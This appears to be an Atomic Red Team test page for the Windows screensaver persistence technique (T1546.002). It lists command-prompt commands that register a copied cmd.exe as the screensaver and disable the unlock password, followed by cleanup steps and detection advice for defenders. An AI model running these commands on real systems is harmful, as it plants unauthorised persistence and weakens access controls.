T1546.002 - Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32</code>, and C:\Windows\sysWOW64</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop</code>) and could be manipulated to achieve persistence:

• SCRNSAVE.exe - set to malicious PE path

• ScreenSaveActive - set to ‘1’ to enable the screensaver

• ScreenSaverIsSecure - set to ‘0’ to not require a password to unlock

• ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

Atomic Tests

Atomic Test #1 - Set Arbitrary Binary as ScreensaverThis test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
copy C:\Windows\System32\cmd.exe "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
if 0 NEQ 0 shutdown /r /t 0

Invoke-AtomicTest T1546.002 -TestNumbers 1

Cleanup:

reg import %userprofile%\backup.reg
del %userprofile%\backup.reg
del %SystemRoot%\System32\evilscreensaver.scr

Invoke-AtomicTest T1546.002 -TestNumbers 1 -Cleanup

Detection

Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.

Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.